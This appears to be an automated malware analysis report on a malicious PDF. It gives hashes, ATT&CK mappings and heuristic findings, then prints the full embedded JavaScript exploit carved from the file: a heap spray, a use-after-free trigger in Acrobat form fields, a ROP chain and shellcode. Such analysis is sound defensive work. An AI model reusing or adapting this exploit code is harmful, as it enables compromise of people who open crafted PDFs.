Malicious PDF — malware analysis report

Static analysis result for SHA-256 ad1cf6436a56b3ff…

MALICIOUS

PDF

6.3 KB Created: 2020-10-16 13:21:07 +01:00 Authoring application: jsPDF 2.1.1 First seen: 2021-10-24
MD5: 040652d6bef1678e6ea9edad814b5739 SHA-1: bf462ba1470956267e8fa1e95e4881721460c78c SHA-256: ad1cf6436a56b3ff6ea5ae5d8701f422359974c281a45540b6bc45ea0854f7fd
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes the unescape function and appears to be designed for heap spraying and triggering a vulnerability. The ML classifier strongly indicates maliciousness. The script's complexity and obfuscation suggest it's intended to download and execute a second-stage payload, aligning with common exploit delivery techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9986

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function fill_nsize_heap(nsize){
        var input = unescape("%u200d");
        input += unescape("%ue0d0%ue0d0");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0003_001.js pdf-javascript-stream PDF /JS object 3 at offset 0xF 2973 bytes
SHA-256: 24242d1473a5f695b77c7ea8923553fb66a18212c0c74b00becbd91ccf671c4e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function dbg_help(str){
    app.alert(str);
}

var num = 0x3000;
var spray_arr = new Array(num);
var shellcode = [0x52d23160, 0x6c616368, 0x52595463, 0x728b6451, 0x0c768b30, 0xad0c768b, 0x7e8b308b, 0x3c5f8b18, 0x781f5c8b, 0x201f748b, 0x548bfe01, 0xb70f241f, 0x4242172c, 0x073c81ad, 0x456e6957, 0x748bf075, 0xfe011c1f, 0xffae3c03, 0x615858d7, 0x000000c3, 0xcccccccc];
var AcroForm_Base = 0x20800000  ;
var mem_arr = new Array(0x3000);
var field_arr = new Array(0x500);
function heap_spray(){
    for(var i = 1; i < 0x80; i++){
        field_arr[i] = this.addField("Field_" + i,  "text", 0, [0, 800, 55, 850]);
    }
    for(var i = 1; i < 0x3000; i++){
        spray_arr[i] = new ArrayBuffer(0x10000-24);
    }
}

function fill_nsize_heap(nsize){
    var input = unescape("%u200d");
    input += unescape("%ue0d0%ue0d0");
    input += unescape("%u0000%u01c0");
    input += unescape("%u0801%u0000");
    for(var i = 0; i < (nsize - 8 - 10) / 2; i++){
        input += unescape("%ue0d0");
    }

    var fill_list = this.addField("lb", "listbox", 0, [0, 0, 300, 300]);
    for(var i = 0; i < 0x500; i++){
        field_arr[i] = input;
    }
    fill_list.setItems(field_arr);
}

function trigger_the_bug(){
    f = this.addField("a.1", "text", 0, [0+200, 0, 55+200, 50]);
    t = this
    A = {}
    A.toString = function() {
    	t.removeField('a'); // <= will remove "a.1; a.2; a.abcd; etc"
        for(var i = 1; i < 0x80; i++){
            t.removeField("Field_" + i);
        }
        fill_nsize_heap(0x60);
        for(var i = 1; i < 0x3000; i++){
            var dv = new DataView(spray_arr[i]);
            var rop_offset = [0x160, 0x153, 0x146]; /*  [+] add more data, it will more stable*/
            for(var j = 0; j < rop_offset.length; j++){
                dv.setUint32(rop_offset[j] + 0 * 4, 0x00905f80 + AcroForm_Base, true);  /*  [+] useful*/
                dv.setUint32(rop_offset[j] + 1 * 4, 0x000f1d41 + AcroForm_Base, true);  /*  [+] change ebp*/
                dv.setUint32(rop_offset[j] + 2 * 4, 0x0d0e0058, true);  /*  [+] fake ebp */
                dv.setUint32(rop_offset[j] + 0xf* 4, 0x0006e5da +AcroForm_Base , true); /*  [+] rop chain*/
            }

            dv.setUint32(1 * 4, AcroForm_Base + 0x0006f845  , true);
            dv.setUint32(3 * 4, 0x0d0e007c  , true);    /*  [+] here, we could control ebp*/
            dv.setUint32(4 * 4, AcroForm_Base + 0x0007eea6 , true);
            dv.setUint32(5 * 4, 0x0d0e8058  , true);
            dv.setUint32(6 * 4, 0x1000 , true);
            dv.setUint32(7 * 4, 0x40 , true);
            dv.setUint32(8 * 4, 0x0d0e1058 , true);
            dv.setUint32(10 * 4, 0x0d0e8058, true);  /*  [+] control eip*/

            /*  [+] at here, we could allocate shellcode*/
            for(var j = 0; j < shellcode.length; j++){
                dv.setUint32(0x8000 + j * 4, shellcode[j], true);
            }

        }
    	return 'owned'
    }
    f.value  = A;
}
heap_spray();
trigger_the_bug();